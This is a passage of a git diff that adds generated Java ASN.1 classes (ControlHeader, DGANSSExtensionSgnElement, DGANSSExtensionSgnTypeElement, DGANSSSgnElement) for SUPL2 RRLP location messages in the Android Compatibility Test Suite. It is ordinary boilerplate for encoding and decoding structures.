+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getDgpsCorrections() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDgpsCorrections();
+ }
+
+ @Override public void setToNewInstance() {
+ setDgpsCorrectionsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? DGPSCorrections.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "dgpsCorrections : "
+ + getDgpsCorrections().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavigationModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavigationModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavigationModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavigationModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navigationModel : "
+ + getNavigationModel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getIonosphericModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIonosphericModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setIonosphericModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? IonosphericModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ionosphericModel : "
+ + getIonosphericModel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcModel() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcModel();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcModelToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTCModel.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcModel : "
+ + getUtcModel().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlmanac() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlmanac();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlmanacToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "almanac : "
+ + getAlmanac().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getAcquisAssist() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAcquisAssist();
+ }
+
+ @Override public void setToNewInstance() {
+ setAcquisAssistToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AcquisAssist.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "acquisAssist : "
+ + getAcquisAssist().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getRealTimeIntegrity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRealTimeIntegrity();
+ }
+
+ @Override public void setToNewInstance() {
+ setRealTimeIntegrityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOf_BadSatelliteSet.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "realTimeIntegrity : "
+ + getRealTimeIntegrity().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ControlHeader = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSExtensionSgnElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSExtensionSgnElement.java
new file mode 100755
index 0000000..7134486
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSExtensionSgnElement.java
@@ -0,0 +1,507 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class DGANSSExtensionSgnElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_DGANSSExtensionSgnElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public DGANSSExtensionSgnElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_DGANSSExtensionSgnElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_DGANSSExtensionSgnElement != null) {
+ return ImmutableList.of(TAG_DGANSSExtensionSgnElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new DGANSSExtensionSgnElement from encoded stream.
+ */
+ public static DGANSSExtensionSgnElement fromPerUnaligned(byte[] encodedBytes) {
+ DGANSSExtensionSgnElement result = new DGANSSExtensionSgnElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new DGANSSExtensionSgnElement from encoded stream.
+ */
+ public static DGANSSExtensionSgnElement fromPerAligned(byte[] encodedBytes) {
+ DGANSSExtensionSgnElement result = new DGANSSExtensionSgnElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SVID svID_;
+ public SVID getSvID() {
+ return svID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setSvID(Asn1Object value) {
+ this.svID_ = (SVID) value;
+ }
+ public SVID setSvIDToNewInstance() {
+ svID_ = new SVID();
+ return svID_;
+ }
+
+ private DGANSSExtensionSgnElement.udreGrowthRateType udreGrowthRate_;
+ public DGANSSExtensionSgnElement.udreGrowthRateType getUdreGrowthRate() {
+ return udreGrowthRate_;
+ }
+ /**
+ * @throws ClassCastException if value is not a DGANSSExtensionSgnElement.udreGrowthRateType
+ */
+ public void setUdreGrowthRate(Asn1Object value) {
+ this.udreGrowthRate_ = (DGANSSExtensionSgnElement.udreGrowthRateType) value;
+ }
+ public DGANSSExtensionSgnElement.udreGrowthRateType setUdreGrowthRateToNewInstance() {
+ udreGrowthRate_ = new DGANSSExtensionSgnElement.udreGrowthRateType();
+ return udreGrowthRate_;
+ }
+
+ private DGANSSExtensionSgnElement.udreValidityTimeType udreValidityTime_;
+ public DGANSSExtensionSgnElement.udreValidityTimeType getUdreValidityTime() {
+ return udreValidityTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a DGANSSExtensionSgnElement.udreValidityTimeType
+ */
+ public void setUdreValidityTime(Asn1Object value) {
+ this.udreValidityTime_ = (DGANSSExtensionSgnElement.udreValidityTimeType) value;
+ }
+ public DGANSSExtensionSgnElement.udreValidityTimeType setUdreValidityTimeToNewInstance() {
+ udreValidityTime_ = new DGANSSExtensionSgnElement.udreValidityTimeType();
+ return udreValidityTime_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svID : "
+ + getSvID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getUdreGrowthRate() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUdreGrowthRate();
+ }
+
+ @Override public void setToNewInstance() {
+ setUdreGrowthRateToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? DGANSSExtensionSgnElement.udreGrowthRateType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "udreGrowthRate : "
+ + getUdreGrowthRate().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getUdreValidityTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUdreValidityTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setUdreValidityTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? DGANSSExtensionSgnElement.udreValidityTimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "udreValidityTime : "
+ + getUdreValidityTime().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class udreGrowthRateType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_udreGrowthRateType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public udreGrowthRateType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_udreGrowthRateType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_udreGrowthRateType != null) {
+ return ImmutableList.of(TAG_udreGrowthRateType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new udreGrowthRateType from encoded stream.
+ */
+ public static udreGrowthRateType fromPerUnaligned(byte[] encodedBytes) {
+ udreGrowthRateType result = new udreGrowthRateType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new udreGrowthRateType from encoded stream.
+ */
+ public static udreGrowthRateType fromPerAligned(byte[] encodedBytes) {
+ udreGrowthRateType result = new udreGrowthRateType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "udreGrowthRateType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class udreValidityTimeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_udreValidityTimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public udreValidityTimeType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_udreValidityTimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_udreValidityTimeType != null) {
+ return ImmutableList.of(TAG_udreValidityTimeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new udreValidityTimeType from encoded stream.
+ */
+ public static udreValidityTimeType fromPerUnaligned(byte[] encodedBytes) {
+ udreValidityTimeType result = new udreValidityTimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new udreValidityTimeType from encoded stream.
+ */
+ public static udreValidityTimeType fromPerAligned(byte[] encodedBytes) {
+ udreValidityTimeType result = new udreValidityTimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "udreValidityTimeType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("DGANSSExtensionSgnElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSExtensionSgnTypeElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSExtensionSgnTypeElement.java
new file mode 100755
index 0000000..24b917a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSExtensionSgnTypeElement.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class DGANSSExtensionSgnTypeElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_DGANSSExtensionSgnTypeElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public DGANSSExtensionSgnTypeElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_DGANSSExtensionSgnTypeElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_DGANSSExtensionSgnTypeElement != null) {
+ return ImmutableList.of(TAG_DGANSSExtensionSgnTypeElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new DGANSSExtensionSgnTypeElement from encoded stream.
+ */
+ public static DGANSSExtensionSgnTypeElement fromPerUnaligned(byte[] encodedBytes) {
+ DGANSSExtensionSgnTypeElement result = new DGANSSExtensionSgnTypeElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new DGANSSExtensionSgnTypeElement from encoded stream.
+ */
+ public static DGANSSExtensionSgnTypeElement fromPerAligned(byte[] encodedBytes) {
+ DGANSSExtensionSgnTypeElement result = new DGANSSExtensionSgnTypeElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSSignalID ganssSignalID_;
+ public GANSSSignalID getGanssSignalID() {
+ return ganssSignalID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSignalID
+ */
+ public void setGanssSignalID(Asn1Object value) {
+ this.ganssSignalID_ = (GANSSSignalID) value;
+ }
+ public GANSSSignalID setGanssSignalIDToNewInstance() {
+ ganssSignalID_ = new GANSSSignalID();
+ return ganssSignalID_;
+ }
+
+ private SeqOfDGANSSExtensionSgnElement dganssExtensionSgnList_;
+ public SeqOfDGANSSExtensionSgnElement getDganssExtensionSgnList() {
+ return dganssExtensionSgnList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfDGANSSExtensionSgnElement
+ */
+ public void setDganssExtensionSgnList(Asn1Object value) {
+ this.dganssExtensionSgnList_ = (SeqOfDGANSSExtensionSgnElement) value;
+ }
+ public SeqOfDGANSSExtensionSgnElement setDganssExtensionSgnListToNewInstance() {
+ dganssExtensionSgnList_ = new SeqOfDGANSSExtensionSgnElement();
+ return dganssExtensionSgnList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssSignalID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssSignalID();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssSignalIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSignalID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssSignalID : "
+ + getGanssSignalID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getDganssExtensionSgnList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDganssExtensionSgnList();
+ }
+
+ @Override public void setToNewInstance() {
+ setDganssExtensionSgnListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfDGANSSExtensionSgnElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "dganssExtensionSgnList : "
+ + getDganssExtensionSgnList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("DGANSSExtensionSgnTypeElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSSgnElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSSgnElement.java
new file mode 100755
index 0000000..78278f1
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/DGANSSSgnElement.java
@@ -0,0 +1,789 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class DGANSSSgnElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_DGANSSSgnElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public DGANSSSgnElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_DGANSSSgnElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_DGANSSSgnElement != null) {
+ return ImmutableList.of(TAG_DGANSSSgnElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
